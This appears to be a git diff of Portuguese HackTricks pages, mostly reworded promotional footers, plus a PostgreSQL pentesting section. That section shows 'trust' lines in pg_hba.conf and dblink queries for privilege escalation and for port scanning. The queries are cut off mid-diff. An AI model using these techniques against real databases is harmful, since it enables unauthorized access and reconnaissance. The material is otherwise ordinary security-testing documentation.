* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -21,14 +21,14 @@ Outras maneiras de apoiar o HackTricks:
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista Red Team AWS do HackTricks)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,10 +4,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -27,17 +27,17 @@ O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** de *
```
local all all trust
```
_Note que esta configuração é comumente usada para modificar a senha de um usuário de banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
_Note que esta configuração é comumente usada para modificar a senha de um usuário do banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
_Note também que o arquivo pg\_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._
Este caso é **útil se** você **já** tiver um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
Este caso é **útil se** você **já** tem um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
Outra possível má configuração consiste em algo assim:
Outra possível má configuração consiste em algo como isso:
```
host all all 127.0.0.1/32 trust
```
Como permitirá que todos, do localhost, se conectem ao banco de dados como qualquer usuário.\
Neste caso e se a função **`dblink`** estiver **funcionando**, você poderia **aumentar os privilégios** conectando-se ao banco de dados por meio de uma conexão já estabelecida e acessar dados aos quais não deveria ter acesso:
Neste caso e se a função **`dblink`** estiver **funcionando**, você poderia **elevar privilégios** conectando-se ao banco de dados por meio de uma conexão já estabelecida e acessar dados aos quais não deveria ter acesso:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -53,7 +53,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
## Varredura de Portas
Aproveitando o `dblink_connect`, você também pode **pesquisar portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`**, pois a documentação diz que `dblink_connect_u()` é idêntico ao `dblink_connect()`, exceto que permitirá que não superusuários se conectem usando qualquer método de autenticação.
Abusando do `dblink_connect`, você também poderia **pesquisar portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`**, pois a documentação diz que `dblink_connect_u()` é idêntico ao `dblink_connect()`, exceto que permitirá que não superusuários se conectem usando qualquer método de autenticação.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -114,7 +114,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

Some files were not shown because too many files have changed in this diff Show more